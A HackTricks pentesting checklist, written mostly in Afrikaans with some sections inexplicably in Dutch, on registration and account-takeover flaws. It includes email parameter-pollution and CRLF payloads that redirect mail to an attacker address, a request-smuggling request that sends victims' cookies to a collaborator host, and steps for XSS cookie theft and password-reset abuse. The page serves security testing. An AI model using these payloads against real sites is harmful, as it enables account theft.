hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-11 02:07:06 +00:00

8.4 KiB

Registrasie- en Oornamekwesbaarhede

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Oorname van Registrasie

Duplikaat Registrasie

  • Probeer genereer met 'n bestaande gebruikersnaam
  • Kontroleer variasie in die e-pos:
  • hoofletters
  • +1@
  • voeg 'n paar punte by die e-pos
  • spesiale karakters in die e-posnaam (%00, %09, %20)
  • Plaas swart karakters na die e-pos: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Gebruikersnaamondersoek

Kyk of jy kan vasstel wanneer 'n gebruikersnaam reeds geregistreer is binne die toepassing.

Wagwoordbeleid

Wanneer jy 'n gebruiker skep, kyk na die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).
In daardie geval kan jy probeer om geloofsbriewe te kragteloos.

SQL-injectie

Kyk na hierdie bladsy om te leer hoe om rekeningsoorname te probeer of inligting te onttrek deur middel van SQL-injecties in registrasievorms.

Oauth-oornames

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML-kwesbaarhede

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Verander E-pos

Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek gevalideer word of dit na willekeurige e-posse verander kan word.

Meer Kontroles

  • Kyk of jy weggooi-e-posse kan gebruik
  • Lang wagwoord (>200) lei tot DoS
  • Kyk na tempo-beperkings op rekening-skepping
  • Gebruik username@burp_collab.net en analiseer die terugroep
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR op API-parameters

  1. Aanvaller moet inloggen met hun account en naar de functie Wachtwoord wijzigen gaan.
  2. Start Burp Suite en onderschept het verzoek.
  3. Stuur het naar het repeater-tabblad en bewerk de parameters: Gebruikers-ID/e-mail
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Zwak wachtwoordhersteltoken

Het wachtwoordhersteltoken moet telkens willekeurig gegenereerd en uniek zijn.
Probeer te bepalen of het token verloopt of altijd hetzelfde is, in sommige gevallen is het generatie-algoritme zwak en kan het geraden worden. De volgende variabelen kunnen door het algoritme worden gebruikt.

  • Tijdstempel
  • Gebruikers-ID
  • E-mail van gebruiker
  • Voornaam en achternaam
  • Geboortedatum
  • Cryptografie
  • Alleen nummers
  • Kleine tokenreeks (tekens tussen [A-Z,a-z,0-9])
  • Hergebruik van token
  • Vervaldatum van token

Uitlekken van wachtwoordhersteltoken

  1. Activeer een wachtwoordherstelverzoek met behulp van de API/UI voor een specifiek e-mailadres, bijvoorbeeld: test@mail.com
  2. Inspecteer het serverantwoord en controleer op resetToken
  3. Gebruik vervolgens het token in een URL zoals https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Wachtwoordherstel via gebruikersnaamcollision

  1. Registreer op het systeem met een gebruikersnaam die identiek is aan de gebruikersnaam van het slachtoffer, maar met spaties ingevoegd voor en/of na de gebruikersnaam, bijvoorbeeld: "admin "
  2. Vraag een wachtwoordherstel aan met uw kwaadwillende gebruikersnaam.
  3. Gebruik het naar uw e-mail gestuurde token en stel het wachtwoord van het slachtoffer opnieuw in.
  4. Maak verbinding met het account van het slachtoffer met het nieuwe wachtwoord.

Het platform CTFd was kwetsbaar voor deze aanval.
Zie: CVE-2020-7245

Accountovertname via Cross Site Scripting

  1. Zoek een XSS binnen de applicatie of een subdomein als de cookies zijn beperkt tot het bovenliggende domein: *.domain.com
  2. Lek de huidige sessiecookie
  3. Authenticeer als de gebruiker met behulp van de cookie

Accountovertname via HTTP Request Smuggling

1. Gebruik smuggler om het type HTTP Request Smuggling (CL, TE, CL.TE) te detecteren
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Maak een verzoek dat de POST / HTTP/1.1 overschrijft met de volgende gegevens:
GET http://something.burpcollaborator.net HTTP/1.1 X: met als doel de slachtoffers door te sturen naar burpcollab en hun cookies te stelen
3. Het uiteindelijke verzoek kan er als volgt uitzien

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone-rapporteerders maak gebruik van hierdie fout
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Rekeningsoorname via CSRF

  1. Skep 'n lading vir die CSRF, bv. "HTML-vorm met outomatiese indiening vir 'n wagwoordverandering"
  2. Stuur die lading

Rekeningsoorname via JWT

JSON Web Token kan gebruik word om 'n gebruiker te verifieer.

  • Wysig die JWT met 'n ander gebruikers-ID / E-pos
  • Kyk vir swak JWT-handtekening

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: